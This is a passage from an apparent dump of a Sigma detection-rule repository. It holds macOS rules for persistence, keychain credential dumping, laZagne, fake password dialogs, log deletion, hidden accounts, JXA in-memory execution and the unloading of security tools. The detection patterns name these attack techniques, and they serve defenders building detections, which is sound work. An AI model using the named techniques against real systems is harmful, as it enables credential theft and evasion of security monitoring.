"content": "title: Startup Item File Created - MacOS\nid: dfe8b941-4e54-4242-b674-6b613d521962\nstatus: test\ndescription: |\n Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence.\n Adversaries may use startup items automatically executed at boot initialization to establish persistence.\n Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md\n - https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-14\nmodified: 2024-08-11\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1037.005\nlogsource:\n category: file_event\n product: macos\ndetection:\n selection:\n TargetFilename|startswith:\n - '/Library/StartupItems/'\n - '/System/Library/StartupItems'\n TargetFilename|endswith: '.plist'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_applescript.yml",
"content": "title: MacOS Scripting Interpreter AppleScript\nid: 1bc2e6c5-0885-472b-bed6-be5ea8eace55\nstatus: test\ndescription: Detects execution of AppleScript of the macOS scripting language AppleScript.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md\n - https://redcanary.com/blog/applescript/\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-21\nmodified: 2023-02-01\ntags:\n - attack.execution\n - attack.t1059.002\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/osascript'\n CommandLine|contains:\n - ' -e '\n - '.scpt'\n - '.js'\n condition: selection\nfalsepositives:\n - Application installers might contain scripts as part of the installation process.\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_base64_decode.yml",
"content": "title: Decode Base64 Encoded Text -MacOs\nid: 719c22d7-c11a-4f2c-93a6-2cfdd5412f68\nstatus: test\ndescription: Detects usage of base64 utility to decode arbitrary base64-encoded text\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2022-11-26\ntags:\n - attack.defense-evasion\n - attack.t1027\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image: '/usr/bin/base64'\n CommandLine|contains: '-d'\n condition: selection\nfalsepositives:\n - Legitimate activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_binary_padding.yml",
"content": "title: Binary Padding - MacOS\nid: 95361ce5-c891-4b0a-87ca-e24607884a96\nstatus: test\ndescription: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md\n - https://linux.die.net/man/1/truncate\n - https://linux.die.net/man/1/dd\nauthor: 'Igor Fits, Mikhail Larin, oscd.community'\ndate: 2020-10-19\nmodified: 2023-02-17\ntags:\n - attack.defense-evasion\n - attack.t1027.001\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection_truncate:\n Image|endswith: '/truncate'\n CommandLine|contains: '-s +'\n selection_dd:\n Image|endswith: '/dd'\n CommandLine|contains:\n - 'if=/dev/zero' # if input is not /dev/zero, then there is no null padding\n - 'if=/dev/random' # high-quality random data\n - 'if=/dev/urandom' # low-quality random data\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate script work\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml",
"content": "title: File Time Attribute Change\nid: 88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0\nstatus: test\ndescription: Detect file time attribute change to hide new or changes to existing files\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md\nauthor: Igor Fits, Mikhail Larin, oscd.community\ndate: 2020-10-19\nmodified: 2022-01-12\ntags:\n - attack.defense-evasion\n - attack.t1070.006\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/touch'\n CommandLine|contains:\n - '-t'\n - '-acmr'\n - '-d'\n - '-r'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml",
"content": "title: Hidden Flag Set On File/Directory Via Chflags - MacOS\nid: 3b2c1059-ae5f-40b6-b5d4-6106d3ac20fe\nstatus: test\ndescription: |\n Detects the execution of the \"chflags\" utility with the \"hidden\" flag, in order to hide files on MacOS.\n When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.\nreferences:\n - https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/\n - https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/\n - https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf\n - https://ss64.com/mac/chflags.html\nauthor: Omar Khaled (@beacon_exe)\ndate: 2024-08-21\ntags:\n - attack.defense-evasion\n - attack.credential-access\n - attack.command-and-control\n - attack.t1218\n - attack.t1564.004\n - attack.t1552.001\n - attack.t1105\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/chflags'\n CommandLine|contains: 'hidden '\n condition: selection\nfalsepositives:\n - Legitimate usage of chflags by administrators and users.\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml",
"content": "title: Indicator Removal on Host - Clear Mac System Logs\nid: acf61bd8-d814-4272-81f0-a7a269aa69aa\nstatus: test\ndescription: Detects deletion of local audit logs\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md\nauthor: remotephone, oscd.community\ndate: 2020-10-11\nmodified: 2022-09-16\ntags:\n - attack.defense-evasion\n - attack.t1070.002\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection1:\n Image|endswith:\n - '/rm'\n - '/unlink'\n - '/shred'\n selection_cli_1:\n CommandLine|contains: '/var/log'\n selection_cli_2:\n CommandLine|contains|all:\n - '/Users/'\n - '/Library/Logs/'\n condition: selection1 and 1 of selection_cli*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_clipboard_data_via_osascript.yml",
"content": "title: Clipboard Data Collection Via OSAScript\nid: 7794fa3c-edea-4cff-bec7-267dd4770fd7\nrelated:\n - id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55\n type: derived\nstatus: test\ndescription: Detects possible collection of data from the clipboard via execution of the osascript binary\nreferences:\n - https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-01-31\ntags:\n - attack.collection\n - attack.execution\n - attack.t1115\n - attack.t1059.002\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n CommandLine|contains|all:\n - 'osascript'\n - ' -e '\n - 'clipboard'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_create_account.yml",
"content": "title: Creation Of A Local User Account\nid: 51719bf5-e4fd-4e44-8ba8-b830e7ac0731\nstatus: test\ndescription: Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md\n - https://ss64.com/osx/sysadminctl.html\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-06\nmodified: 2023-02-18\ntags:\n - attack.t1136.001\n - attack.persistence\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_dscl:\n Image|endswith: '/dscl'\n CommandLine|contains: 'create'\n selection_sysadminctl:\n Image|endswith: '/sysadminctl'\n CommandLine|contains: 'addUser'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml",
"content": "title: Hidden User Creation\nid: b22a5b36-2431-493a-8be1-0bae56c28ef3\nstatus: test\ndescription: Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-10\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.t1564.002\nlogsource:\n category: process_creation\n product: macos\ndetection:\n dscl_create:\n Image|endswith: '/dscl'\n CommandLine|contains: 'create'\n id_below_500:\n CommandLine|contains: UniqueID\n CommandLine|re: '([0-9]|[1-9][0-9]|[1-4][0-9]{2})'\n ishidden_option_declaration:\n CommandLine|contains: 'IsHidden'\n ishidden_option_confirmation:\n CommandLine|contains:\n - 'true'\n - 'yes'\n - '1'\n condition: dscl_create and id_below_500 or dscl_create and (ishidden_option_declaration and ishidden_option_confirmation)\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml",
"content": "title: Credentials from Password Stores - Keychain\nid: b120b587-a4c2-4b94-875d-99c9807d6955\nstatus: test\ndescription: Detects passwords dumps from Keychain\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md\n - https://gist.github.com/Capybara/6228955\nauthor: Tim Ismilyaev, oscd.community, Florian Roth (Nextron Systems)\ndate: 2020-10-19\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1555.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection1:\n Image: '/usr/bin/security'\n CommandLine|contains:\n - 'find-certificate'\n - ' export '\n selection2:\n CommandLine|contains:\n - ' dump-keychain '\n - ' login-keychain '\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml",
"content": "title: System Integrity Protection (SIP) Disabled\nid: 3603f18a-ec15-43a1-9af2-d196c8a7fec6\nstatus: test\ndescription: |\n Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.\nreferences:\n - https://ss64.com/osx/csrutil.html\n - https://objective-see.org/blog/blog_0x6D.html\n - https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/\n - https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2024-01-02\ntags:\n - attack.discovery\n - attack.t1518.001\nlogsource:\n product: macos\n category: process_creation\ndetection:\n # VT Query: behavior_processes:\"csrutil status\" p:5+ type:mac\n selection:\n Image|endswith: '/csrutil'\n CommandLine|contains: 'disable'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_csrutil_status.yml",
"content": "title: System Integrity Protection (SIP) Enumeration\nid: 53821412-17b0-4147-ade0-14faae67d54b\nstatus: test\ndescription: |\n Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.\nreferences:\n - https://ss64.com/osx/csrutil.html\n - https://objective-see.org/blog/blog_0x6D.html\n - https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/\n - https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2024-01-02\ntags:\n - attack.discovery\n - attack.t1518.001\nlogsource:\n product: macos\n category: process_creation\ndetection:\n # VT Query: behavior_processes:\"csrutil status\" p:5+ type:mac\n selection:\n Image|endswith: '/csrutil'\n CommandLine|contains: 'status'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml",
"content": "title: Disable Security Tools\nid: ff39f1a6-84ac-476f-a1af-37fcdf53d7c0\nstatus: test\ndescription: Detects disabling security tools\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n launchctl_unload:\n Image: '/bin/launchctl'\n CommandLine|contains: 'unload'\n security_plists:\n CommandLine|contains:\n - 'com.objective-see.lulu.plist' # Objective-See firewall management utility\n - 'com.objective-see.blockblock.plist' # Objective-See persistence locations watcher/blocker\n - 'com.google.santad.plist' # google santa\n - 'com.carbonblack.defense.daemon.plist' # carbon black\n - 'com.carbonblack.daemon.plist' # carbon black\n - 'at.obdev.littlesnitchd.plist' # Objective Development Software firewall management utility\n - 'com.tenablesecurity.nessusagent.plist' # Tenable Nessus\n - 'com.opendns.osx.RoamingClientConfigUpdater.plist' # OpenDNS Umbrella\n - 'com.crowdstrike.falcond.plist' # Crowdstrike Falcon\n - 'com.crowdstrike.userdaemon.plist' # Crowdstrike Falcon\n - 'osquery' # facebook osquery\n - 'filebeat' # elastic log file shipper\n - 'auditbeat' # elastic auditing agent/log shipper\n - 'packetbeat' # elastic network logger/shipper\n - 'td-agent' # fluentd log shipper\n disable_gatekeeper:\n Image: '/usr/sbin/spctl'\n CommandLine|contains: 'disable'\n condition: (launchctl_unload and security_plists) or disable_gatekeeper\nfalsepositives:\n - Legitimate activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_dscl_add_user_to_admin_group.yml",
"content": "title: User Added To Admin Group Via Dscl\nid: b743623c-2776-40e0-87b1-682b975d0ca5\nrelated:\n - id: 0c1ffcf9-efa9-436e-ab68-23a9496ebf5b\n type: obsolete\nstatus: test\ndescription: Detects attempts to create and add an account to the admin group via \"dscl\"\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-2---create-local-account-with-admin-privileges---macos\n - https://ss64.com/osx/dscl.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-03-19\ntags:\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.privilege-escalation\n - attack.t1078.003\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection: # adds to admin group\n Image|endswith: '/dscl'\n CommandLine|contains|all:\n - ' -append '\n - ' /Groups/admin '\n - ' GroupMembership '\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_dseditgroup_add_to_admin_group.yml",
"content": "title: User Added To Admin Group Via DseditGroup\nid: 5d0fdb62-f225-42fb-8402-3dfe64da468a\nstatus: test\ndescription: Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-5---add-a-newexisting-user-to-the-admin-group-using-dseditgroup-utility---macos\n - https://ss64.com/osx/dseditgroup.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-08-22\ntags:\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.privilege-escalation\n - attack.t1078.003\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/dseditgroup'\n CommandLine|contains|all:\n - ' -o edit ' # edit operation\n - ' -a ' # username\n - ' -t user'\n - 'admin' # Group name\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_dsenableroot_enable_root_account.yml",
"content": "title: Root Account Enable Via Dsenableroot\nid: 821bcf4d-46c7-4b87-bc57-9509d3ba7c11\nstatus: test\ndescription: Detects attempts to enable the root account via \"dsenableroot\"\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md\n - https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml\n - https://ss64.com/osx/dsenableroot.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-08-22\ntags:\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.t1078\n - attack.t1078.001\n - attack.t1078.003\n - attack.initial-access\n - attack.persistence\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/dsenableroot'\n filter_main_disable:\n CommandLine|contains: ' -d '\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml",
"content": "title: File and Directory Discovery - MacOS\nid: 089dbdf6-b960-4bcc-90e3-ffc3480c20f6\nstatus: test\ndescription: Detects usage of system utilities to discover files and directories\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2022-11-25\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: macos\ndetection:\n select_file_with_asterisk:\n Image: '/usr/bin/file'\n CommandLine|re: '(.){200,}' # execution of the 'file */* *>> /tmp/output.txt' will produce huge commandline\n select_recursive_ls:\n Image: '/bin/ls'\n CommandLine|contains: '-R'\n select_find_execution:\n Image: '/usr/bin/find'\n select_mdfind_execution:\n Image: '/usr/bin/mdfind'\n select_tree_execution|endswith:\n Image: '/tree'\n condition: 1 of select*\nfalsepositives:\n - Legitimate activities\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml",
"content": "title: Credentials In Files\nid: 53b1b378-9b06-4992-b972-dde6e423d2b4\nstatus: test\ndescription: Detecting attempts to extract passwords with grep and laZagne\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md\nauthor: 'Igor Fits, Mikhail Larin, oscd.community'\ndate: 2020-10-19\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1552.001\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection1:\n Image|endswith: '/grep'\n CommandLine|contains: 'password'\n selection2:\n CommandLine|contains: 'laZagne'\n condition: 1 of selection*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml",
"content": "title: GUI Input Capture - macOS\nid: 60f1ce20-484e-41bd-85f4-ac4afec2c541\nstatus: test\ndescription: Detects attempts to use system dialog prompts to capture user credentials\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md\n - https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/\nauthor: remotephone, oscd.community\ndate: 2020-10-13\nmodified: 2025-12-05\ntags:\n - attack.collection\n - attack.credential-access\n - attack.t1056.002\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection_img:\n Image|endswith: '/osascript'\n selection_cli_1:\n CommandLine|contains|all:\n - '-e'\n - 'display'\n - 'dialog'\n - 'answer'\n selection_cli_2:\n CommandLine|contains:\n - 'admin'\n - 'administrator'\n - 'authenticate'\n - 'authentication'\n - 'credentials'\n - 'pass'\n - 'password'\n - 'unlock'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration tools and activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml",
"content": "title: Disk Image Creation Via Hdiutil - MacOS\nid: 1cf98dc2-fcb0-47c9-8aea-654c9284d1ae\nstatus: test\ndescription: Detects the execution of the hdiutil utility in order to create a disk image.\nreferences:\n - https://www.loobins.io/binaries/hdiutil/\n - https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/\n - https://ss64.com/mac/hdiutil.html\nauthor: Omar Khaled (@beacon_exe)\ndate: 2024-08-10\ntags:\n - attack.exfiltration\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image|endswith: /hdiutil\n CommandLine|contains: 'create'\n condition: selection\nfalsepositives:\n - Legitimate usage of hdiutil by administrators and users.\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml",
"content": "title: Disk Image Mounting Via Hdiutil - MacOS\nid: bf241472-f014-4f01-a869-96f99330ca8c\nstatus: test\ndescription: Detects the execution of the hdiutil utility in order to mount disk images.\nreferences:\n - https://www.loobins.io/binaries/hdiutil/\n - https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/\n - https://ss64.com/mac/hdiutil.html\nauthor: Omar Khaled (@beacon_exe)\ndate: 2024-08-10\ntags:\n - attack.initial-access\n - attack.collection\n - attack.t1566.001\n - attack.t1560.001\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image|endswith: /hdiutil\n CommandLine|contains:\n - 'attach '\n - 'mount '\n condition: selection\nfalsepositives:\n - Legitimate usage of hdiutil by administrators and users.\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_installer_susp_child_process.yml",
"content": "title: Suspicious Installer Package Child Process\nid: e0cfaecd-602d-41af-988d-f6ccebb2af26\nstatus: test\ndescription: Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters\nreferences:\n - https://redcanary.com/blog/clipping-silver-sparrows-wings/\n - https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_installer_package_spawned_network_event.toml\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-02-18\ntags:\n - attack.t1059\n - attack.t1059.007\n - attack.t1071\n - attack.t1071.001\n - attack.execution\n - attack.command-and-control\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_installer:\n ParentImage|endswith:\n - '/package_script_service'\n - '/installer'\n Image|endswith:\n - '/sh'\n - '/bash'\n - '/dash'\n - '/python'\n - '/ruby'\n - '/perl'\n - '/php'\n - '/javascript'\n - '/osascript'\n - '/tclsh'\n - '/curl'\n - '/wget'\n CommandLine|contains:\n - 'preinstall'\n - 'postinstall'\n condition: selection_installer\nfalsepositives:\n - Legitimate software uses the scripts (preinstall, postinstall)\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml",
"content": "title: System Information Discovery Using Ioreg\nid: 2d5e7a8b-f484-4a24-945d-7f0efd52eab0\nstatus: test\ndescription: |\n Detects the use of \"ioreg\" which will show I/O Kit registry information.\n This process is used for system information discovery.\n It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.\nreferences:\n - https://www.virustotal.com/gui/file/0373d78db6c3c0f6f6dcc409821bf89e1ad8c165d6f95c5c80ecdce2219627d7/behavior\n - https://www.virustotal.com/gui/file/4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a71ca8c7bd36e2e4/behavior\n - https://www.virustotal.com/gui/file/5907d59ec1303cfb5c0a0f4aaca3efc0830707d86c732ba6b9e842b5730b95dc/behavior\n - https://www.trendmicro.com/en_ph/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-12-20\nmodified: 2024-01-02\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n product: macos\n category: process_creation\ndetection:\n # Examples:\n # /bin/bash /bin/sh -c ioreg -l | grep -e 'VirtualBox' -e 'Oracle' -e 'VMware' -e 'Parallels' | wc -l\n # /usr/sbin/ioreg ioreg -rd1 -w0 -c AppleAHCIDiskDriver\n # /bin/bash /bin/sh -c ioreg -l | grep -e 'USB Vendor Name'\n # ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, \\\"\\\\\\\"\\\"); printf(\\\"%s\\\", line[4]); }\n selection_img:\n - Image|endswith: '/ioreg'\n - CommandLine|contains: 'ioreg'\n selection_cmd1:\n CommandLine|contains:\n - '-l'\n - '-c'\n selection_cmd2:\n CommandLine|contains:\n - 'AppleAHCIDiskDriver'\n - 'IOPlatformExpertDevice'\n - 'Oracle'\n - 'Parallels'\n - 'USB Vendor Name'\n - 'VirtualBox'\n - 'VMware'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administrative activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_jamf_susp_child.yml",
"content": "title: JAMF MDM Potential Suspicious Child Process\nid: 2316929c-01aa-438c-970f-099145ab1ee6\nstatus: test\ndescription: Detects potential suspicious child processes of \"jamf\". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.\nreferences:\n - https://github.com/MythicAgents/typhon/\n - https://www.zoocoup.org/casper/jamf_cheatsheet.pdf\n - https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-08-22\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n ParentImage|endswith: '/jamf'\n Image|endswith:\n # Note: Add additional binaries/commands that are uncommon during your typical admin usage of Jamf\n - '/bash'\n - '/sh'\n condition: selection\nfalsepositives:\n - Legitimate execution of custom scripts or commands by Jamf administrators. Apply additional filters accordingly\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_jamf_usage.yml",
"content": "title: JAMF MDM Execution\nid: be2e3a5c-9cc7-4d02-842a-68e9cb26ec49\nstatus: test\ndescription: |\n Detects execution of the \"jamf\" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.\nreferences:\n - https://github.com/MythicAgents/typhon/\n - https://www.zoocoup.org/casper/jamf_cheatsheet.pdf\n - https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html\nauthor: Jay Pandit\ndate: 2023-08-22\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/jamf'\n CommandLine|contains:\n # Note: add or remove commands according to your policy\n - 'createAccount'\n - 'manage'\n - 'removeFramework'\n - 'removeMdmProfile'\n - 'resetPassword'\n - 'setComputerName'\n condition: selection\nfalsepositives:\n - Legitimate use of the JAMF CLI tool by IT support and administrators\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_jxa_in_memory_execution.yml",
"content": "title: JXA In-memory Execution Via OSAScript\nid: f1408a58-0e94-4165-b80a-da9f96cf6fc3\nrelated:\n - id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55\n type: derived\nstatus: test\ndescription: Detects possible malicious execution of JXA in-memory via OSAScript\nreferences:\n - https://redcanary.com/blog/applescript/\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-01-31\ntags:\n - attack.t1059.002\n - attack.t1059.007\n - attack.execution\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection_main:\n CommandLine|contains|all:\n - 'osascript'\n - ' -e '\n - 'eval'\n - 'NSData.dataWithContentsOfURL'\n selection_js:\n - CommandLine|contains|all:\n - ' -l '\n - 'JavaScript'\n - CommandLine|contains: '.js'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_launchctl_execution.yml",
"content": "title: Launch Agent/Daemon Execution Via Launchctl\nid: ae9d710f-dcd1-4f75-a0a5-93a73b5dda0e\nstatus: test\ndescription: Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.001/T1569.001.md\n - https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/\n - https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/\n - https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html\n - https://www.loobins.io/binaries/launchctl/\nauthor: Pratinav Chandra\ndate: 2024-05-13\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.t1569.001\n - attack.t1543.001\n - attack.t1543.004\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/launchctl'\n CommandLine|contains:\n - 'submit'\n - 'load'\n - 'start'\n condition: selection\nfalsepositives:\n - Legitimate administration activities is expected to trigger false positives. Investigate the command line being passed to determine if the service or launch agent are suspicious.\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_local_account.yml",
